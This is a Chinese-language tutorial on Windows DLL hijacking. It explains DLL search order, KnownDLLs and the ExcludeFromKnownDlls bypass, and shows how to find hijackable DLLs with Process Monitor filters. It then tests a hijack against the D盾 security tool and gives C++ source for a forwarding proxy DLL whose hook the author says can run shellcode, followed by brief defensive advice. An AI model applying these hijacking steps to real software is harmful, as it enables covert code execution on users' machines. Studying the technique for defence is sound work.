0x01 dll简介
在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。
每个DLL都有一个入口函数(DLLMain),系统在特定环境下会调用DLLMain。在下面的事件发生时就会调用dll的入口函数:
-
1.进程装载DLL。
-
2.进程卸载DLL。
-
3.DLL在被装载之后创建了新线程。
-
4.DLL在被装载之后一个线程被终止了。 另外,每个DLL文件中都包含有一个导出函数表也叫输出表(存在于PE的.edata节中)。使用一些PE文件查看工具如LoadPE,就可以查看导出函数的符号名即函数名称和函数在导出函数表中的标识号。 应用程序导入函数与DLL文件中的导出函数进行链接有两种方式:隐式链接(load-time dynamiclinking)也叫静态调用和显式链接(run-time dynamiclinking)也叫动态调用。隐式链接方式一般用于开发和调试,而显式链接方式就是我们常见的使用LoadLibary或者LoadLibraryEx函数(注:涉及到模块加载的函数有很多)来加载DLL去调用相应的导出函数。调用LoadLibrary或者LoadLibraryEx函数时可以使用DLL的相对路径也可以使用绝对路径,
dll路径搜索规则
但是很多情况下,开发人员都是使用了相对路径来进行DLL的加载。那么,在这种情况下,Windows系统会按照特定的顺序去搜索一些目录,来确定DLL的完整路径。关于动态链接库的搜索顺序的更多详细资料请参阅MSDN。根据MSDN文档的约定,在使用了DLL的相对路径调用LoadLibrary函数时,系统会依次从下面几个位置去查找所需要调用的DLL文件。
-
1.程序所在目录。
-
2.加载 DLL 时所在的当前目录。
-
3.系统目录即 SYSTEM32 目录。
-
4.16位系统目录即 SYSTEM 目录。
-
5.Windows目录。
-
6.PATH环境变量中列出的目录微软为了防止DLL劫持漏洞的产生,在XP SP2之后,添加了一个SafeDllSearchMode的注册表属性。注册表路径如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
当SafeDllSearchMode的值设置为1,即安全DLL搜索模式开启时,查找DLL的目录顺序如下:
-
1.程序所在目录
-
2.系统目录即 SYSTEM32 目录。
-
3.16位系统目录即 SYSTEM 目录。
-
4.Windows目录。
-
5.加载 DLL 时所在的当前目录。
-
6.PATH环境变量中列出的目录。
在win7以上版本
微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表路径如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
以前经常使用的一些劫持DLL已经被加入了KnownDLLs注册表项,这就意味着使用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持已经失效了。
所以在win7及以上当启用了SafeDllSearchMode搜索顺序如下
-
1.应用程序所在目录。
-
2.系统目录SYSTEM32 目录。
-
3.16位系统目录。没有获取该目录路径的函数,但会对其进行搜索。
-
4.Windows目录。使用GetWindowsDirectory函数获取此目录的路径。
-
5.当前目录
-
6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径。 Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。 不过,微软又莫名其妙的允许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就可以对该DLL进行劫持,不过修改之后需要重新启动电脑才能生效。
在上述描述加载DLL的整个过程中,DLL劫持漏洞就是在系统进行安装“DLL路径搜索目录顺序”搜索DLL的时候发生的。
无论安全DLL搜索模式是否开启,系统总是首先会从应用程序(程序安装目录)所在目录加载DLL,如果没有找到就按照上面的顺序依次进行搜索。那么,利用这个特性,攻击者就可以伪造一个相同名称的dll,只要这个dll不在KnownDLLs注册表项中,我们就可以对该dll进行劫持测试。
键值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10的如下
0x02 寻找可劫持dll
有很多软件可以查看exe加载的dll
process-explorer
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
火绒剑
Process Monitor
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息
Include the following filters:Operation is CreateFileOperation is LoadImagePath contains .cplPath contains .dllPath contains .drvPath contains .exePath contains .ocxPath contains .scrPath contains .sysExclude the following filters:Process Name is procmon.exeProcess Name is Procmon64.exeProcess Name is SystemOperation begins with IRP_MJ_Operation begins with FASTIO_Result is SUCCESSPath ends with pagefile.sys
类似下图这种就是该dll在KnownDLLs注册表项里
0x03 劫持测试
这里用D盾进行劫持实验
还是先使用Process Explorer
可以将这些dll文件与KnownDLLs注册表项里的dll进行比较,找出不在范围内的dll进行劫持测试
当然这里也有偷懒的方法,批量自动化测试
这里ctrl+s可以直接保存获取的信息文本,然后再通过正则来提取路径信息,再放到批量验证工具里
存在的话就会直接输出结果
不存在就会显示no
上面显示存在两个dll可能可以劫持 这里直接放一个弹计算器的dll改成WINSTA.dll放到D盾目录下,再运行D盾,成功弹出。
0x04 进阶测试
但是这种方法只劫持了加载计算机的函数,原来dll还有很多其他的导出函数,这样直接劫持可能会导致程序无法正常启动。
所以一般会制作一个相同名称,相同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者已经加入了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL再将DLL调用流程转向“真”DLL,以免影响程序的正常执行。
这里我们制作一个弹窗的dll来进行测试,
1.首先使用VS2019新建一个DLL项目
2.在生成的dllmain.cpp下添加
Bash
void msg() { MessageBox(0, L"Dll-1 load succeed!", L"Good", 0); }
3.然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件
Bash
#pragma once#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容// Windows 头文件#include <windows.h>extern "C" __declspec(dllexport) void msg(void);
然后编译生成Dll1.dll
再新建一个C++项目,填入如下代码
Go
#include <iostream>#include <Windows.h>using namespace std;int main(){ // 定义一个函数类DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定动态加载dll库 HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL if (hinst != NULL) { // 获取函数位置 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名 } if (GetDllfunc != NULL) { //运行msg函数 (*GetDllfunc)(); } }
想了解dll编写细节的可以看这里 再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe
成功弹窗 这里我们用之前转发劫持dll的思路,来试验一下 这里我用脚本一键生成用来劫持的dll
这是默认生成的
Bash
# include "pch.h"# define EXTERNC extern "C"# define NAKED __declspec(naked)# define EXPORT EXTERNC __declspec(dllexport)# define ALCPP EXPORT NAKED# define ALSTD EXTERNC EXPORT NAKED void __stdcall# define ALCFAST EXTERNC EXPORT NAKED void __fastcall# define ALCDECL EXTERNC NAKED void __cdeclEXTERNC { FARPROC Hijack_msg; }namespace DLLHijacker { HMODULE m_hModule = NULL; DWORD m_dwReturn[17] = {0}; inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; lstrcpy(tzPath, TEXT("Dll1")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) return FALSE; return (m_hModule != NULL); } FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf((LPWSTR)szProcName, L"%d", pszProcName); pszProcName = szProcName; } ExitProcess(-2); } return fpAddress; } }using namespace DLLHijacker;VOID Hijack() //default open a calc.//添加自己的代码{ }BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_msg = GetAddress("msg"); Hijack(); } } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll
Bash
lstrcpy(tzPath, TEXT("Dll2.dll"));
然后在代码这一行添加弹窗或者执行shellcode
Go
VOID Hijack() //default open a calc.{ MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0); }
然后编译生成 再将我们之前生成的Dll1.dll改为Dll2.dll,将两个Dll和Meg.exe放在同一个目录下
运行Meg.exe这时候应该会有两个弹窗
可以看到是先劫持DLL添加的弹窗,再弹出DLL原本的弹窗
0x05 防御
通用免疫方案: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs]在此注册表项下定义一个“已知DLL名称”,那么凡是此项下的DLL文件就会被禁止从EXE自身目录下调用,而只能从系统目录,也就是system32目录下调用。据此可以写一个简单的DLL劫持免疫器 或者可以在加载dll是检测MD5和大小,来防御